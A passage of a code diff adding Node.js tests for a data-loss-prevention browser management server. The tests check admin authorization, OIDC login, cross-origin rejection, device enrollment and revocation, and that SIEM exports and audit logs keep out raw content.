for(const kind of ['vault.created','vault.unlocked','vault.locked','vault.saved','vault.deleted','vault.filled','vault.fill-requested'])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1})).status,200);
|
||||
for(const kind of ['clipboard.copy','clipboard.cut','clipboard.paste','clipboard.block']){assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1,ruleId:'clipboard-test'})).status,200);for(const extra of [{text:'private clipboard sentinel'},{clipboard:'private clipboard sentinel'},{password:'private clipboard sentinel'}])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1,...extra})).status,400);}
|
||||
const audit=store.db.prepare('SELECT metadata FROM events').all().map(v=>v.metadata).join('');assert.equal(audit.includes('Hello local model'),false);assert.equal(audit.includes('BEGIN PRIVATE KEY'),false);assert.equal(audit.includes('private clipboard sentinel'),false);
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { defaultPolicy,PolicySchema } from '../packages/core/policy.mjs';
|
||||
import { defaultSemantic,EmbeddingReferenceSchema,SEMANTIC_ARTIFACT } from '../packages/core/semantic.mjs';
|
||||
import { openStore } from '../apps/server/store.mjs';
|
||||
import { createApp } from '../apps/server/app.mjs';
|
||||
import { createServer } from 'node:http';
|
||||
import { mkdtempSync,rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
const revision='bfcd298762cc34d0357ece5ebdd31791a3a374d8',vector=(index=0)=>Array.from({length:768},(_,i)=>i===index?1:0);
|
||||
function enabledPolicy(){const p=defaultPolicy();p.dlp.semantic={...defaultSemantic(),enabled:true,revision,categories:[{id:'internal',label:'Internal',threshold:0.8,prototype:vector(),prototypes:[vector(),vector(1)]}]};return p;}
|
||||
const reference=()=>({model:'google/embeddinggemma-2',revision,dimensions:768,profile:'document-v1',...SEMANTIC_ARTIFACT,local:true,vector:vector(),vectors:[vector(),vector(1)],coverage:{complete:true,extractionComplete:true,textChunks:2}});
|
||||
test('semantic policy binds the real model, exact revision, dimensions, preprocessing and runtime artifact',()=>{
|
||||
const p=enabledPolicy();assert.equal(PolicySchema.safeParse(p).success,true);for(const change of [{model:'unapproved-model'},{revision:'main'},{revision:'A'.repeat(40)},{revision:''},{dimensions:256},{profile:'query-v1'},{artifactFormat:'onnx'},{quantization:'Q4_0'},{runtimeRevision:'unverified'}])assert.equal(PolicySchema.safeParse({...p,dlp:{...p.dlp,semantic:{...p.dlp.semantic,...change}}}).success,false);
|
||||
for(const threshold of [0,-0.01,1.01]){const invalid=structuredClone(p);invalid.dlp.semantic.categories[0].threshold=threshold;assert.equal(PolicySchema.safeParse(invalid).success,false);}
|
||||
});
|
||||
test('semantic prototypes reject wrong dimensions, nonfinite, zero, unnormalized and excessive vectors',()=>{
|
||||
const p=enabledPolicy();for(const bad of [vector().slice(1),Array(768).fill(0),[NaN,...vector().slice(1)],[Infinity,...vector().slice(1)],[1e300,...vector().slice(1)],Array(768).fill(1)]){const candidate=structuredClone(p);candidate.dlp.semantic.categories[0].prototype=bad;assert.equal(PolicySchema.safeParse(candidate).success,false);}
|
||||
p.dlp.semantic.categories[0].prototypes=Array.from({length:65},()=>vector());assert.equal(PolicySchema.safeParse(p).success,false);p.dlp.semantic.categories=Array.from({length:5},(_,i)=>({id:`category-${i}`,label:'Category',threshold:0.8,prototype:vector(),prototypes:Array.from({length:64},()=>vector())}));assert.equal(PolicySchema.safeParse(p).success,false);
|
||||
const large=defaultPolicy();large.security.yara.rules=Array.from({length:30},(_,i)=>({id:`yara-${i}`,name:'Large rule',source:'x'.repeat(65536)}));assert.equal(PolicySchema.safeParse(large).success,false);
|
||||
});
|
||||
test('disabled legacy semantic configuration migrates safely but active unprofiled references fail closed',()=>{
|
||||
const inactive=defaultPolicy();inactive.dlp.rules=[{id:'keep',label:'Keep',kind:'literal',value:'Secret Roadmap',action:'block'}];inactive.dlp.semantic={enabled:false,model:'google/embeddinggemma-2',revision:'legacy-unpinned',categories:[]};const migrated=PolicySchema.parse(inactive);assert.deepEqual(migrated.dlp.semantic,defaultSemantic());assert.equal(migrated.dlp.rules[0].id,'keep');const active=enabledPolicy();delete active.dlp.semantic.profile;assert.equal(PolicySchema.safeParse(active).success,false);
|
||||
});
|
||||
test('reference vectors require complete typed provenance and bounded aligned chunks',()=>{
|
||||
assert.equal(EmbeddingReferenceSchema.safeParse(reference()).success,true);for(const change of [{dimensions:512},{local:false},{revision:'latest'},{vectors:[]},{vectors:Array.from({length:65},()=>vector())},{vector:Array(768).fill(0)},{text:'raw content not permitted'}])assert.equal(EmbeddingReferenceSchema.safeParse({...reference(),...change}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...reference(),coverage:{complete:true,extractionComplete:true,textChunks:1}}).success,false);
|
||||
});
|
||||
test('native runtime diagnostics are typed features and media frames can supply multiple vectors',()=>{
|
||||
const native={...reference(),backend:'native-gguf',device:'cpu',modalities:['text','image','audio'],coverage:{complete:true,extractionComplete:true,textChunks:0,mediaItems:1}};assert.equal(EmbeddingReferenceSchema.safeParse(native).success,true);assert.equal(EmbeddingReferenceSchema.safeParse({...native,device:'cloud'}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...native,modalities:['video']}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...native,coverage:{...native.coverage,mediaItems:3}}).success,false);
|
||||
});
|
||||
test('central semantic document teaching retains no source and incomplete coverage cannot create a reference',async t=>{
|
||||
let result=reference();const provider=createServer((req,res)=>{assert.equal(req.url,'/embed');assert.equal(req.headers.authorization,'Bearer private-inspector');res.setHeader('content-type','application/json');res.end(JSON.stringify(result));});provider.listen(0,'127.0.0.1');await new Promise(r=>provider.on('listening',r));const directory=mkdtempSync(join(tmpdir(),'semantic-features-')),store=openStore(directory),adminToken='administrator-token-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,inspectorUrl:`http://127.0.0.1:${provider.address().port}`,inspectorToken:'private-inspector'}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));
|
||||
t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>provider.close(r))]);store.db.close();rmSync(directory,{recursive:true,force:true});});const base=`http://127.0.0.1:${server.address().port}`,raw='Confidential full source document sentinel never retained',data=Buffer.from(raw).toString('base64');const submit=()=>fetch(base+'/api/admin/semantic/document-reference',{method:'POST',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify({data,filename:'reference.txt'})});
|
||||
const ok=await submit();assert.equal(ok.status,200);assert.equal((await ok.json()).vectors.length,2);assert.equal(store.get('policy').dlp.semantic.enabled,false);assert.equal(store.db.prepare('SELECT count(*) AS n FROM teaching').get().n,0);
|
||||
const retained=store.db.prepare('SELECT value FROM settings').all().map(r=>r.value).join('')+store.db.prepare('SELECT metadata FROM events').all().map(r=>r.metadata).join('');assert.equal(retained.includes(raw),false);assert.equal(retained.includes(data),false);assert.equal(retained.includes('prototype'),false);
|
||||
result={...reference(),coverage:{complete:false,extractionComplete:true,textChunks:2}};assert.equal((await submit()).status,409);
|
||||
});
|
||||
test('active legacy policy remains unsigned until an administrator explicitly repairs and publishes it',async t=>{
|
||||
const directory=mkdtempSync(join(tmpdir(),'semantic-migration-'));let store=openStore(directory);const legacy=enabledPolicy();delete legacy.dlp.semantic.profile;store.put('policy',legacy);store.db.close();store=openStore(directory);assert.throws(()=>store.envelope());assert.equal(store.getRaw('policy').dlp.semantic.enabled,true);const adminToken='administrator-token-at-least-thirty-two-characters',server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));
|
||||
t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(directory,{recursive:true,force:true});});const base=`http://127.0.0.1:${server.address().port}`,overview=await(await fetch(base+'/api/admin/overview',{headers:{authorization:`Bearer ${adminToken}`}})).json();assert.equal(overview.migrationRequired,true);assert.equal(overview.policy.dlp.semantic.enabled,false);assert.equal(store.getRaw('policy').dlp.semantic.enabled,true);
|
||||
const repaired=enabledPolicy();repaired.version=legacy.version+1;const response=await fetch(base+'/api/admin/policy',{method:'PUT',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(repaired)});assert.equal(response.status,200);assert.equal(store.get('policy').dlp.semantic.enabled,true);assert.ok(store.envelope().signature);
|
||||
});
|
||||
@@ -0,0 +1,209 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { mkdtempSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { createApp } from '../apps/server/app.mjs';
|
||||
import { openStore } from '../apps/server/store.mjs';
|
||||
import { verifyPolicy } from '../packages/core/policy.mjs';
|
||||
import { generateKeyPair,exportJWK,SignJWT } from 'jose';
|
||||
import { createHash,randomUUID } from 'node:crypto';
|
||||
import {digest} from '../apps/server/store.mjs';
|
||||
import {adminRoutePermission,principalForGroups} from '../apps/server/admin-access.mjs';
|
||||
async function fixture(t,extra={}){
|
||||
const dir=mkdtempSync(join(tmpdir(),'safetynet-test-')),store=openStore(dir),adminToken='test-only-administrator-credential-123456789';
|
||||
const config={adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,oidcAdminGroup:'admins',oidcGroupsClaim:'groups',...extra};
|
||||
const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>server.on('listening',resolve));
|
||||
const base=`http://127.0.0.1:${server.address().port}`;
|
||||
t.after(async()=>{await new Promise(resolve=>server.close(resolve));store.db.close();rmSync(dir,{recursive:true,force:true});});
|
||||
async function api(route,{body,token=adminToken,method=body?'POST':'GET',headers={}}={}){const response=await fetch(base+route,{method,headers:{...(token?{authorization:`Bearer ${token}`}:{ }),...(body?{'content-type':'application/json'}:{}),...headers},body:body?JSON.stringify(body):undefined});return {status:response.status,body:await response.json()};}
|
||||
return {api,store,base,config};
|
||||
}
|
||||
test('authenticated devices behind corporate NAT have separate quotas and fake tokens cannot bypass IP limits',async t=>{
|
||||
const f=await fixture(t),devices=[];
|
||||
for(const user of ['a','b']){const code=(await f.api('/api/admin/enrollments',{body:{user}})).body.code;devices.push((await f.api('/api/device/enroll',{body:{name:user,platform:'win32',code},token:null})).body);}
|
||||
for(let n=0;n<180;n++)for(const device of devices)assert.equal((await f.api('/api/device/heartbeat',{token:device.token,body:{policyVersion:1}})).status,200);
|
||||
let limited=false;for(let n=0;n<305;n++){const result=await f.api('/api/device/heartbeat',{token:'invalid-public-token-'+String(n).padStart(20,'0'),body:{policyVersion:1}});assert.ok([401,429].includes(result.status));if(result.status===429)limited=true;}
|
||||
assert.equal(limited,true);assert.equal((await f.api('/api/device/heartbeat',{token:devices[0].token,body:{policyVersion:1}})).status,200);assert.equal((await f.api('/api/admin/overview')).status,200);
|
||||
});
|
||||
test('administration requires auth and rejects cross-origin changes',async t=>{
|
||||
const {api}=await fixture(t);assert.equal((await api('/api/admin/overview',{token:null})).status,401);
|
||||
assert.equal((await api('/api/admin/enrollments',{body:{user:'alice'},headers:{origin:'https://evil.example'}})).status,403);
|
||||
assert.equal((await api('/api/admin/overview')).status,200);
|
||||
});
|
||||
test('enrollment codes are one-use, signed policy works and revocation denies access',async t=>{
|
||||
const {api}=await fixture(t);
|
||||
const code=(await api('/api/admin/enrollments',{body:{user:'alice'}})).body.code;
|
||||
const body={code,name:'Alice laptop',platform:'linux'};
|
||||
const enrollment=await api('/api/device/enroll',{body,token:null});assert.equal(enrollment.status,200);
|
||||
const d=enrollment.body;assert.equal(verifyPolicy(d.policy,d.publicKey).version,1);
|
||||
assert.equal((await api('/api/device/enroll',{body,token:null})).status,401);
|
||||
assert.equal((await api('/api/device/policy',{token:d.token})).status,200);
|
||||
assert.equal((await api('/api/device/heartbeat',{token:d.token,body:{policyVersion:1}})).status,200);
|
||||
assert.equal((await api(`/api/admin/devices/${d.id}/revoke`,{body:{}})).status,200);
|
||||
assert.equal((await api('/api/device/policy',{token:d.token})).status,401);
|
||||
});
|
||||
test('policy publication detects conflicts and records actor without content',async t=>{
|
||||
const {api}=await fixture(t);const original=(await api('/api/admin/overview')).body.policy;
|
||||
const p=structuredClone(original);p.version=2;p.brand.name='Acme Browser';p.proxy={mode:'fixed_servers',rules:'proxy.example:8080',bypass:'*.example'};
|
||||
assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);
|
||||
assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,409);
|
||||
const overview=(await api('/api/admin/overview')).body;assert.equal(overview.policy.brand.name,'Acme Browser');
|
||||
assert.equal(overview.events[0].kind,'policy.published');assert.equal(overview.events[0].metadata.actor,'bootstrap-admin');
|
||||
});
|
||||
test('administrator remotely changes signed settings and enrolled users cannot publish overrides',async t=>{
|
||||
const {api}=await fixture(t);
|
||||
const code=(await api('/api/admin/enrollments',{body:{user:'managed-user'}})).body.code;
|
||||
const device=(await api('/api/device/enroll',{token:null,body:{code,name:'Managed Windows',platform:'win32'}})).body;
|
||||
const p=(await api('/api/admin/overview')).body.policy;p.version++;
|
||||
p.browser.settings={visible:false,hiddenSections:['passwords','agents'],lockedSections:['appearance'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}};
|
||||
assert.equal((await api('/api/admin/policy',{method:'PUT',body:p,token:device.token})).status,401);
|
||||
assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200);
|
||||
const delivered=verifyPolicy((await api('/api/device/policy',{token:device.token})).body,device.publicKey,2);
|
||||
assert.deepEqual(delivered.browser.settings,p.browser.settings);
|
||||
const invalid=structuredClone(p);invalid.version++;invalid.browser.settings.hiddenSections=['unknown'];
|
||||
assert.equal((await api('/api/admin/policy',{method:'PUT',body:invalid})).status,400);
|
||||
assert.equal((await api('/api/admin/overview')).body.policy.version,2);
|
||||
});
|
||||
test('policy teaching test blocks matching text and rejects arbitrary telemetry payloads',async t=>{
|
||||
const {api}=await fixture(t);const p=(await api('/api/admin/overview')).body.policy;
|
||||
p.dlp.rules=[{id:'secret',label:'Secret',kind:'literal',value:'Secret Roadmap',action:'block'}];
|
||||
const verdict=await api('/api/admin/policy/test',{body:{text:'Send Secret Roadmap to AI',policy:p}});assert.equal(verdict.body.decision,'block');
|
||||
const code=(await api('/api/admin/enrollments',{body:{user:'bob'}})).body.code;
|
||||
const d=(await api('/api/device/enroll',{token:null,body:{code,name:'Bob',platform:'win32'}})).body;
|
||||
assert.equal((await api('/api/device/events',{token:d.token,body:{kind:'dlp.block',policyVersion:1,prompt:'must not be logged'}})).status,400);
|
||||
assert.equal((await api('/api/device/ai',{token:d.token,body:{prompt:'hello'}})).status,409);
|
||||
});
|
||||
test('SSO remains unavailable until configured; callback cannot bypass state validation',async t=>{
|
||||
const {api,base}=await fixture(t);
|
||||
assert.equal((await api('/api/device/sso/start',{body:{},token:null})).status,409);
|
||||
const response=await fetch(`${base}/auth/callback?state=forged&code=forged`);assert.equal(response.status,400);
|
||||
});
|
||||
async function oidcFixture(t,groups,extra={}){
|
||||
const {privateKey,publicKey}=await generateKeyPair('RS256'),jwk={...await exportJWK(publicKey),kid:'test-key'};
|
||||
let nonce='',challenge='',badNonce=false;
|
||||
const oidcIssuer='https://id.example.test';
|
||||
const oidcFetch=async(url,options)=>{
|
||||
const u=String(url);
|
||||
if(u.endsWith('/.well-known/openid-configuration'))return Response.json({issuer:oidcIssuer,authorization_endpoint:oidcIssuer+'/authorize',token_endpoint:oidcIssuer+'/token',jwks_uri:oidcIssuer+'/keys'});
|
||||
if(u.endsWith('/keys'))return Response.json({keys:[jwk]});
|
||||
if(u.endsWith('/token')){
|
||||
const body=new URLSearchParams(options.body);assert.equal(createHash('sha256').update(body.get('code_verifier')).digest('base64url'),challenge);
|
||||
const jwt=await new SignJWT({nonce:badNonce?'wrong':nonce,groups,name:'Alice'}).setProtectedHeader({alg:'RS256',kid:'test-key'}).setIssuer(oidcIssuer).setAudience('test-client').setSubject('alice').setIssuedAt().setExpirationTime('5m').sign(privateKey);
|
||||
return Response.json({id_token:jwt});
|
||||
}throw Error('Unexpected OIDC request');
|
||||
};
|
||||
const f=await fixture(t,{oidcIssuer,oidcClientId:'test-client',oidcFetch,oidcDeviceGroup:'employees',onError:e=>{if(process.env.DEBUG_TEST_AUTH)console.error(e);},...extra});
|
||||
async function login(ticket=''){
|
||||
const r=await fetch(f.base+'/auth/login'+(ticket?'?ticket='+ticket:''),{redirect:'manual'});assert.equal(r.status,302);
|
||||
const url=new URL(r.headers.get('location'));nonce=url.searchParams.get('nonce');challenge=url.searchParams.get('code_challenge');
|
||||
const cookie=r.headers.get('set-cookie').split(';')[0];
|
||||
return fetch(f.base+`/auth/callback?state=${url.searchParams.get('state')}&code=test-code`,{redirect:'manual',headers:{cookie}});
|
||||
}
|
||||
return {...f,login,wrongNonce:()=>{badNonce=true;}};
|
||||
}
|
||||
test('OIDC validates signed identities and administrator group; session authorizes console',async t=>{
|
||||
const f=await oidcFixture(t,['admins','employees']);const callback=await f.login();assert.equal(callback.status,302);
|
||||
const cookie=callback.headers.getSetCookie().find(v=>v.startsWith('sn_session=')).split(';')[0];
|
||||
const r=await fetch(f.base+'/api/admin/overview',{headers:{cookie}});assert.equal(r.status,200);assert.equal((await r.json()).principal.sub,'alice');
|
||||
});
|
||||
test('OIDC rejects non-admin console access and incorrect nonce',async t=>{
|
||||
const f=await oidcFixture(t,['employees']);assert.equal((await f.login()).status,403);f.wrongNonce();assert.equal((await f.login()).status,500);
|
||||
});
|
||||
|
||||
test('OIDC signed management groups create operator and auditor sessions without policy publication rights',async t=>{
|
||||
for(const role of ['operator','auditor']){
|
||||
const f=await oidcFixture(t,[role+'s'],{oidcOperatorGroup:'operators',oidcAuditorGroup:'auditors'}),callback=await f.login();
|
||||
assert.equal(callback.status,302);
|
||||
const cookie=callback.headers.getSetCookie().find(v=>v.startsWith('sn_session=')).split(';')[0];
|
||||
const session=await fetch(f.base+'/api/admin/session',{headers:{cookie}});assert.equal(session.status,200);
|
||||
const principal=(await session.json()).principal;assert.equal(principal.role,role);assert.equal(principal.admin,false);assert.equal(principal.permissions.includes('policy.write'),false);
|
||||
const result=await f.api('/api/admin/policy',{token:null,method:'PUT',body:{version:2},headers:{cookie,origin:f.config.publicUrl}});assert.equal(result.status,403);
|
||||
assert.equal(f.store.get('policy').version,1);
|
||||
}
|
||||
});
|
||||
|
||||
test('auditor authorization denies every mutation, personal bookmark review and unknown routes before handlers',async t=>{
|
||||
const f=await fixture(t),credential='synthetic-auditor-session-credential-123456789';
|
||||
f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:'auditor',role:'auditor',admin:true,permissions:['policy.write','bookmarks.read']}));
|
||||
const headers={cookie:'sn_session='+credential,origin:f.config.publicUrl};
|
||||
for(const [method,path] of [
|
||||
['PUT','/api/admin/policy'],['PUT','/api/admin/security/blocklists'],['POST','/api/admin/enrollments'],['POST','/api/admin/devices/fake/revoke'],['PATCH','/api/admin/devices/fake/inspection'],
|
||||
['GET','/api/admin/devices/fake/bookmarks'],['PUT','/api/admin/devices/fake/bookmarks'],['POST','/api/admin/teaching'],['POST','/api/admin/teaching/fake/publish'],
|
||||
['POST','/api/admin/semantic/reference'],['POST','/api/admin/semantic/document-reference'],['POST','/api/admin/security/visual-reference'],['POST','/api/admin/integrations/icap/probe'],['GET','/api/admin/future-endpoint']
|
||||
])assert.equal((await f.api(path,{token:null,method,body:method==='GET'?undefined:{},headers})).status,403,path);
|
||||
const overview=await f.api('/api/admin/overview',{token:null,headers});assert.equal(overview.status,200);assert.equal(overview.body.principal.admin,false);assert.equal(overview.body.principal.permissions.includes('policy.write'),false);
|
||||
assert.equal((await fetch(f.base+'/api/admin/events/export?format=cef',{headers})).status,200);
|
||||
assert.equal(f.store.get('policy').version,1);assert.equal(f.store.db.prepare('SELECT COUNT(*) AS n FROM enrollments').get().n,0);
|
||||
});
|
||||
|
||||
test('cookie management requires same-origin mutation and expired/unknown roles cannot authenticate',async t=>{
|
||||
const f=await fixture(t),credential='synthetic-admin-session-credential-123456789';
|
||||
const put=(principal,expires=Date.now()+60000)=>f.store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),expires,JSON.stringify(principal));
|
||||
put({sub:'legacy-admin',admin:true});const headers={cookie:'sn_session='+credential};
|
||||
assert.equal((await f.api('/api/admin/enrollments',{token:null,headers,body:{user:'fixture'}})).status,403);
|
||||
assert.equal((await f.api('/api/admin/enrollments',{token:null,headers:{...headers,origin:f.config.publicUrl},body:{user:'fixture'}})).status,200);
|
||||
assert.equal((await fetch(f.base+'/auth/logout',{method:'POST',headers})).status,403);
|
||||
put({sub:'unknown',role:'superadmin',admin:true});assert.equal((await f.api('/api/admin/overview',{token:null,headers})).status,401);
|
||||
put({sub:'expired',role:'admin'},Date.now()-1000);assert.equal((await f.api('/api/admin/overview',{token:null,headers})).status,401);
|
||||
assert.equal(adminRoutePermission('POST','/api/admin/new-dangerous-endpoint'),null);
|
||||
assert.equal(principalForGroups({sub:'u'},['auditors','operators','admins'],{oidcAdminGroup:'admins',oidcOperatorGroup:'operators',oidcAuditorGroup:'auditors'}).role,'admin');
|
||||
});
|
||||
|
||||
test('remote HTTPS management never accepts the shared bootstrap administrator token',async t=>{
|
||||
const f=await fixture(t,{publicUrl:'https://management.example.test',secure:true});
|
||||
assert.equal((await f.api('/api/admin/overview')).status,401);
|
||||
assert.equal((await f.api('/api/admin/enrollments',{body:{user:'unauthorized'},headers:{origin:f.config.publicUrl}})).status,401);
|
||||
const status=await fetch(f.base+'/api/auth/status');assert.equal((await status.json()).bootstrapAllowed,false);
|
||||
});
|
||||
|
||||
test('operator can enroll and revoke devices but cannot change policy-backed inspection settings',async t=>{
|
||||
const f=await fixture(t),credential='synthetic-operator-session-credential-123456789';
|
||||
f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:'operator',role:'operator'}));
|
||||
const headers={cookie:'sn_session='+credential,origin:f.config.publicUrl};
|
||||
const enrollment=await f.api('/api/admin/enrollments',{token:null,headers,body:{user:'operator-device'}});assert.equal(enrollment.status,200);
|
||||
const d=await f.api('/api/device/enroll',{token:null,body:{code:enrollment.body.code,name:'Operator enrolled laptop',platform:'win32'}});assert.equal(d.status,200);
|
||||
assert.equal((await f.api(`/api/admin/devices/${d.body.id}/inspection`,{token:null,headers,method:'PATCH',body:{expectedVersion:1,documentAnalysisEnabled:false}})).status,403);
|
||||
assert.equal((await f.api(`/api/admin/devices/${d.body.id}/revoke`,{token:null,headers,body:{}})).status,200);
|
||||
assert.equal((await f.api('/api/device/policy',{token:d.body.token})).status,401);
|
||||
assert.equal(f.store.get('policy').version,1);
|
||||
});
|
||||
|
||||
test('only administrators inventory opaque management sessions and revocation immediately denies existing cookies',async t=>{
|
||||
const f=await fixture(t),credentials={operator:'synthetic-operator-session-credential-123456789',auditor:'synthetic-auditor-session-credential-123456789'};
|
||||
for(const [role,credential] of Object.entries(credentials))f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:role,role}));
|
||||
for(const credential of Object.values(credentials))assert.equal((await f.api('/api/admin/sessions',{token:null,headers:{cookie:'sn_session='+credential}})).status,403);
|
||||
const inventory=await f.api('/api/admin/sessions');assert.equal(inventory.status,200);assert.equal(inventory.body.sessions.length,2);
|
||||
const target=inventory.body.sessions.find(s=>s.role==='auditor');assert.match(target.id,/^[0-9a-f-]{36}$/);assert.deepEqual(Object.keys(target).sort(),['expiresAt','id','name','role','subject']);
|
||||
assert.equal((await f.api('/api/admin/sessions')).body.sessions.find(s=>s.role==='auditor').id,target.id);
|
||||
const encoded=JSON.stringify(inventory.body);for(const credential of Object.values(credentials)){assert.equal(encoded.includes(credential),false);assert.equal(encoded.includes(digest(credential)),false);}
|
||||
assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{token:null,headers:{cookie:'sn_session='+credentials.operator,origin:f.config.publicUrl},body:{}})).status,403);
|
||||
assert.equal((await f.api('/api/admin/overview',{token:null,headers:{cookie:'sn_session='+credentials.auditor}})).status,200);
|
||||
assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{body:{}})).status,200);
|
||||
assert.equal((await f.api('/api/admin/overview',{token:null,headers:{cookie:'sn_session='+credentials.auditor}})).status,401);
|
||||
assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{body:{}})).status,404);
|
||||
assert.equal(f.store.db.prepare('SELECT COUNT(*) AS n FROM management_session_handles').get().n,1);
|
||||
const event=f.store.db.prepare("SELECT metadata FROM events WHERE kind='management.session-revoked'").get();assert.deepEqual(JSON.parse(event.metadata),{actor:'bootstrap-admin',count:1});
|
||||
});
|
||||
test('SSO device ticket requires its polling secret and enrolls exactly once',async t=>{
|
||||
const f=await oidcFixture(t,['employees']);
|
||||
const ticket=(await f.api('/api/device/sso/start',{token:null,body:{}})).body;
|
||||
const body={id:ticket.id,secret:ticket.secret,name:'SSO laptop',platform:'darwin'};
|
||||
assert.equal((await f.api('/api/device/sso/poll',{token:null,body})).status,202);
|
||||
assert.equal((await f.login(ticket.id)).status,200);
|
||||
assert.equal((await f.api('/api/device/sso/poll',{token:null,body:{...body,secret:'wrong'}})).status,401);
|
||||
const result=await f.api('/api/device/sso/poll',{token:null,body});assert.equal(result.status,200);
|
||||
assert.equal((await f.api('/api/device/sso/poll',{token:null,body})).status,401);
|
||||
assert.equal(f.store.db.prepare('SELECT user FROM devices WHERE id=?').get(result.body.id).user,'alice');
|
||||
});
|
||||
test('device audit retries deduplicate and security exports preserve cursor identity',async t=>{
|
||||
const f=await fixture(t),code=(await f.api('/api/admin/enrollments',{body:{user:'alice'}})).body.code;
|
||||
const d=(await f.api('/api/device/enroll',{token:null,body:{code,name:'Alice',platform:'win32'}})).body;
|
||||
const event={eventId:randomUUID(),kind:'dlp.block',ruleId:'secret',policyVersion:1};
|
||||
for(let n=0;n<2;n++)assert.equal((await f.api('/api/device/events',{token:d.token,body:event})).status,200);
|
||||
assert.equal(f.store.db.prepare("SELECT count(*) AS n FROM events WHERE kind='dlp.block'").get().n,1);
|
||||
const response=await fetch(f.base+'/api/admin/events/export?format=ecs',{headers:{authorization:`Bearer ${f.config.adminToken}`}});
|
||||
const events=(await response.text()).trim().split('\n').map(v=>JSON.parse(v));const block=events.find(v=>v.event.action==='dlp.block');
|
||||
assert.deepEqual(block.event.type,['denied']);assert.equal(block.event.outcome,'success');assert.equal(block.rule.id,'secret');
|
||||
assert.ok(response.headers.get('x-safetynet-next-cursor'));assert.equal(JSON.stringify(events).includes('token_hash'),false);
|
||||
});
|
||||
@@ -0,0 +1,40 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { mkdtempSync,readFileSync,rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { openStore } from '../apps/server/store.mjs';
|
||||
import { startSIEM } from '../apps/server/siem.mjs';
|
||||
import { toECS,toCEF } from '../packages/core/siem.mjs';
|
||||
test('CEF escapes headers and extension delimiters; ECS excludes raw content',()=>{
|
||||
const e={id:1,time:new Date().toISOString(),device_id:'device',kind:'dlp.block',metadata:{ruleId:'a=b\nc',policyVersion:2,prompt:'must never be exported'}};
|
||||
const cef=toCEF(e,'install');assert.ok(cef.includes('cs1=a\\=b\\nc'));assert.ok(cef.startsWith('CEF:0|'));assert.equal(cef.includes('must never'),false);
|
||||
const ecs=toECS(e,'install');assert.equal(ecs.event.id,'install:1');assert.equal(JSON.stringify(ecs).includes('must never'),false);assert.deepEqual(ecs.event.type,['denied']);
|
||||
});
|
||||
test('durable file exporter resumes after restart and advances only written events',async t=>{
|
||||
const directory=mkdtempSync(join(tmpdir(),'safetynet-siem-')),store=openStore(directory);
|
||||
let exporter;t.after(()=>{exporter?.stop();store.db.close();rmSync(directory,{recursive:true,force:true});});
|
||||
store.event('device','dlp.block',{ruleId:'secret',policyVersion:1});exporter=startSIEM(store,directory,{});await exporter.flush();
|
||||
assert.equal(exporter.status().cursor,1);exporter.stop();
|
||||
store.event(null,'policy.published',{actor:'admin',version:2});exporter=startSIEM(store,directory,{});await exporter.flush();assert.equal(exporter.status().cursor,2);
|
||||
const rows=readFileSync(join(directory,'security.ndjson'),'utf8').trim().split('\n').map(v=>JSON.parse(v));assert.equal(rows.length,2);assert.notEqual(rows[0].event.id,rows[1].event.id);
|
||||
});
|
||||
test('remote SIEM export refuses plaintext endpoints',t=>{
|
||||
const directory=mkdtempSync(join(tmpdir(),'safetynet-siem-')),store=openStore(directory);
|
||||
t.after(()=>{store.db.close();rmSync(directory,{recursive:true,force:true});});assert.throws(()=>startSIEM(store,directory,{SIEM_HTTP_URL:'http://example.com'}),/HTTPS/);
|
||||
});
|
||||
|
||||
test('ECS and CEF correlate validated trace identities without exporting arbitrary trace text',()=>{
|
||||
const e={id:1,time:new Date().toISOString(),kind:'clipboard.copy',metadata:{traceId:'1234567890abcdef1234567890abcdef',spanId:'1234567890abcdef'}};
|
||||
assert.equal(toECS(e).trace.id,e.metadata.traceId);assert.match(toCEF(e),/cs4Label=TraceId/);
|
||||
e.metadata.traceId='token=synthetic-secret';e.metadata.spanId='invalid';assert.equal(toECS(e).trace,undefined);assert.equal(toCEF(e).includes('synthetic-secret'),false);
|
||||
});
|
||||
test('denied agent actions and correlated Sigma alerts export durably without raw source content',async t=>{
|
